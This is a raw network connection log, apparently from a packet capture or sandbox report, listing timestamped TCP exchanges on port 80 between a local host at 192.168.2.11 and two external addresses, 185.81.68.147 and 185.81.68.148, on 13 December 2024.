Dec 13, 2024 08:20:58.032808065 CET	80	50084	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:58.032871962 CET	50084	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:58.426666021 CET	80	50085	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:58.426753044 CET	50085	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:58.925791025 CET	80	50086	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:58.925960064 CET	80	50086	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:58.926048994 CET	50086	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:58.927340031 CET	50086	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:59.028065920 CET	50087	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:59.046988010 CET	80	50086	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:59.335573912 CET	80	50087	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:59.335670948 CET	50087	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:59.338237047 CET	50087	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:59.457952023 CET	80	50087	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:59.458026886 CET	50087	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:59.577713966 CET	80	50087	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:59.764317989 CET	50084	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:59.764643908 CET	50088	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:59.884491920 CET	80	50088	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:59.884581089 CET	80	50084	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:59.884613037 CET	50088	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:59.884651899 CET	50084	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:59.886848927 CET	50088	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:59.992527962 CET	50085	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:59.993122101 CET	50089	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:00.006624937 CET	80	50088	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:00.113039970 CET	80	50085	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:00.113111019 CET	80	50089	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:00.113145113 CET	50085	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:00.113214016 CET	50089	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:00.117943048 CET	50089	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:00.237721920 CET	80	50089	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:00.793277025 CET	80	50087	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:00.793328047 CET	80	50087	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:00.793445110 CET	50087	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:00.794765949 CET	50087	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:00.903280020 CET	50090	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:00.917212009 CET	80	50087	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:01.023134947 CET	80	50090	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:01.023236036 CET	50090	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:01.023319006 CET	50090	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:01.143152952 CET	80	50090	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:01.143287897 CET	50090	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:01.237404108 CET	80	50088	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:01.237509966 CET	50088	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:01.263194084 CET	80	50090	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:01.470597029 CET	80	50089	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:01.470716000 CET	50089	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:02.666415930 CET	80	50090	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:02.666435003 CET	80	50090	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:02.666526079 CET	50090	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:02.680612087 CET	50090	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:02.793924093 CET	50091	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:02.800496101 CET	80	50090	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:02.913866043 CET	80	50091	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:02.913957119 CET	50091	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:02.914040089 CET	50091	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:03.029476881 CET	50092	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:03.029541969 CET	50088	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:03.033866882 CET	80	50091	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:03.033948898 CET	50091	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:03.149445057 CET	80	50092	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:03.149662971 CET	50092	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:03.149763107 CET	80	50088	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:03.150091887 CET	50088	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:03.153700113 CET	80	50091	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:03.155030966 CET	50092	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:03.201984882 CET	50089	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:03.202390909 CET	50093	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:03.274717093 CET	80	50092	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:03.322220087 CET	80	50093	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:03.322238922 CET	80	50089	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:03.322469950 CET	50089	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:03.322469950 CET	50093	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:03.329755068 CET	50093	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:03.449556112 CET	80	50093	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:04.503602028 CET	80	50092	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:04.503681898 CET	50092	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:04.525738955 CET	80	50091	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:04.525777102 CET	80	50091	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:04.525906086 CET	50091	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:04.527235985 CET	50091	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:04.637476921 CET	50094	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:04.647476912 CET	80	50091	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:04.674779892 CET	80	50093	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:04.674912930 CET	50093	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:04.760620117 CET	80	50094	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:04.760731936 CET	50094	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:04.760838032 CET	50094	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:04.883893013 CET	80	50094	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:04.883956909 CET	50094	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:05.003930092 CET	80	50094	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.055206060 CET	50092	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:06.055562019 CET	50095	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:06.175328016 CET	80	50095	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:06.175431967 CET	50095	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:06.175555944 CET	80	50092	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:06.175610065 CET	50092	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:06.190773010 CET	50095	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:06.233576059 CET	50093	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.233885050 CET	50096	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.310543060 CET	80	50095	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:06.354645967 CET	80	50093	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.354660988 CET	80	50096	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.354700089 CET	50093	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.354743958 CET	50096	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.369031906 CET	80	50094	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.369160891 CET	80	50094	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.369231939 CET	50094	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.370501995 CET	50094	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.381831884 CET	50096	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.481270075 CET	50097	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.490155935 CET	80	50094	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.502994061 CET	80	50096	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.601207972 CET	80	50097	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.603945017 CET	50097	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.604017019 CET	50097	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.723819017 CET	80	50097	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:06.729007006 CET	50097	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:06.848839045 CET	80	50097	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:07.534276009 CET	80	50095	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:07.535897017 CET	50095	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:07.722229004 CET	80	50096	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:07.722419024 CET	50096	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:08.069358110 CET	80	50097	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:08.069403887 CET	80	50097	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:08.069482088 CET	50097	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:08.070785046 CET	50097	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:08.184871912 CET	50098	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:08.190944910 CET	80	50097	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:08.305124998 CET	80	50098	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:08.305224895 CET	50098	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:08.305303097 CET	50098	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:08.424968958 CET	80	50098	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:08.425048113 CET	50098	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:08.544722080 CET	80	50098	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:09.224337101 CET	50095	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:09.224853039 CET	50099	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:09.344719887 CET	80	50099	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:09.344747066 CET	80	50095	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:09.344841957 CET	50099	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:09.344875097 CET	50095	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:09.362879038 CET	50099	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:09.380626917 CET	50096	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:09.380918980 CET	50100	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:09.482620001 CET	80	50099	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:09.500811100 CET	80	50100	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:09.500905991 CET	80	50096	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:09.500921965 CET	50100	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:09.500962973 CET	50096	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:09.510809898 CET	50100	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:09.633891106 CET	80	50100	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:09.905309916 CET	80	50098	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:09.905378103 CET	80	50098	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:09.905452967 CET	50098	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:09.915420055 CET	50098	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:10.028604031 CET	50101	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:10.035367012 CET	80	50098	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:10.148521900 CET	80	50101	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:10.148709059 CET	50101	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:10.161757946 CET	50101	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:10.281548023 CET	80	50101	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:10.281728029 CET	50101	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:10.401489019 CET	80	50101	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:10.691335917 CET	80	50099	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:10.691565037 CET	50099	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:10.846005917 CET	80	50100	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:10.846082926 CET	50100	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:11.756026983 CET	80	50101	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:11.756078959 CET	80	50101	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:11.756218910 CET	50101	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:11.757637978 CET	50101	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:11.871860981 CET	50102	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:11.877527952 CET	80	50101	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:11.991877079 CET	80	50102	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:11.991961002 CET	50102	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:11.992013931 CET	50102	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:12.112531900 CET	80	50102	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:12.112685919 CET	50102	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:12.232637882 CET	80	50102	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:12.243174076 CET	50099	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:12.243495941 CET	50103	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:12.363269091 CET	80	50103	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:12.363373995 CET	80	50099	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:12.363393068 CET	50103	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:12.363485098 CET	50099	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:12.404058933 CET	50103	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:12.456952095 CET	50100	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:12.457252026 CET	50104	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:12.523857117 CET	80	50103	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:12.577899933 CET	80	50104	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:12.578161001 CET	50104	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:12.578217983 CET	80	50100	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:12.578284025 CET	50100	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:12.589831114 CET	50104	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:12.709745884 CET	80	50104	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:13.452770948 CET	80	50102	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:13.452816010 CET	80	50102	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:13.452912092 CET	50102	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:13.474078894 CET	50102	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:13.575553894 CET	50105	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:13.593936920 CET	80	50102	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:13.695637941 CET	80	50105	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:13.695801973 CET	50105	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:13.695801973 CET	50105	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:13.721525908 CET	80	50103	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:13.721615076 CET	50103	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:13.815753937 CET	80	50105	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:13.815845013 CET	50105	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:13.935756922 CET	80	50105	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:13.940124989 CET	80	50104	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:13.940184116 CET	50104	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.210714102 CET	80	50105	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:15.210886002 CET	80	50105	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:15.211005926 CET	50105	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.212205887 CET	50105	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.325114965 CET	50106	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.331922054 CET	80	50105	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:15.444982052 CET	80	50106	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:15.445102930 CET	50106	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.445481062 CET	50106	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.476840973 CET	50103	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:15.477153063 CET	50107	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:15.565176964 CET	80	50106	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:15.565365076 CET	50106	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.597062111 CET	80	50107	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:15.597127914 CET	80	50103	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:15.597261906 CET	50107	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:15.597276926 CET	50103	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:15.618622065 CET	50107	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:15.685286999 CET	80	50106	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:15.691158056 CET	50104	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.691406012 CET	50108	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.738564014 CET	80	50107	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:15.811364889 CET	80	50108	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:15.811532974 CET	50108	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:15.811889887 CET	80	50104	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:15.811950922 CET	50104	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:16.005428076 CET	50108	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:16.125499964 CET	80	50108	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:16.921998978 CET	80	50106	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:16.922064066 CET	80	50106	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:16.922362089 CET	50106	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:16.923980951 CET	50106	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:16.939085960 CET	80	50107	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:16.939173937 CET	50107	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:17.028172970 CET	50109	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:17.043641090 CET	80	50106	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:17.144870043 CET	80	50108	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:17.144938946 CET	50108	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:17.147893906 CET	80	50109	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:17.148005009 CET	50109	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:17.148087025 CET	50109	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:17.267864943 CET	80	50109	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:17.268022060 CET	50109	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:17.387820959 CET	80	50109	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:18.535721064 CET	50107	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:18.536093950 CET	50110	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:18.605263948 CET	80	50109	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:18.605309963 CET	80	50109	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:18.605360031 CET	50109	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:18.631954908 CET	50109	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:18.655930996 CET	80	50110	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:18.655968904 CET	80	50107	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:18.656028032 CET	50110	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:18.656052113 CET	50107	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:18.751871109 CET	80	50109	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:18.759808064 CET	50111	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:18.879585981 CET	80	50111	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:18.879766941 CET	50111	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:18.883739948 CET	50111	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:19.003526926 CET	80	50111	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:19.003609896 CET	50111	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:19.123660088 CET	80	50111	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:19.222071886 CET	50110	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:19.222215891 CET	50108	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:19.223031044 CET	50112	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:19.342062950 CET	80	50110	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:19.342320919 CET	80	50108	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:19.342381954 CET	50108	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:19.342813969 CET	80	50112	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:19.343342066 CET	50112	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:19.345832109 CET	50112	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:19.465635061 CET	80	50112	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:20.018685102 CET	80	50110	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:20.018768072 CET	50110	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:20.321099043 CET	80	50111	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:20.321130991 CET	80	50111	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:20.321178913 CET	50111	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:20.322639942 CET	50111	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:20.434776068 CET	50113	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:20.442461967 CET	80	50111	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:20.554763079 CET	80	50113	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:20.554873943 CET	50113	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:20.554953098 CET	50113	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:20.674851894 CET	80	50113	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:20.674956083 CET	50113	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:20.705713987 CET	80	50112	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:20.705869913 CET	50112	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:20.794888973 CET	80	50113	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.153484106 CET	80	50113	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.153543949 CET	80	50113	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.153611898 CET	50113	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.160620928 CET	50113	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.205348969 CET	50110	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:22.205641985 CET	50114	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:22.262526989 CET	50115	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.280359030 CET	80	50113	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.325473070 CET	80	50114	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:22.325530052 CET	80	50110	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:22.325546026 CET	50114	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:22.325608015 CET	50110	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:22.335344076 CET	50114	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:22.375255108 CET	50112	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.375590086 CET	50116	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.382297039 CET	80	50115	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.382402897 CET	50115	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.382510900 CET	50115	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.455138922 CET	80	50114	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:22.495435953 CET	80	50116	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.495544910 CET	50116	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.495548964 CET	80	50112	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.495596886 CET	50112	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.501132965 CET	50116	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.502289057 CET	80	50115	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.502351046 CET	50115	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:22.620958090 CET	80	50116	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:22.622114897 CET	80	50115	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:23.663537979 CET	80	50114	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:23.663628101 CET	50114	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:23.830214024 CET	80	50116	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:23.830302954 CET	50116	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:23.837435007 CET	80	50115	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:23.837543011 CET	80	50115	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:23.837613106 CET	50115	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:23.838947058 CET	50115	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:23.950390100 CET	50117	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:23.958686113 CET	80	50115	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:24.070331097 CET	80	50117	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:24.070486069 CET	50117	80	192.168.2.11	185.81.68.147
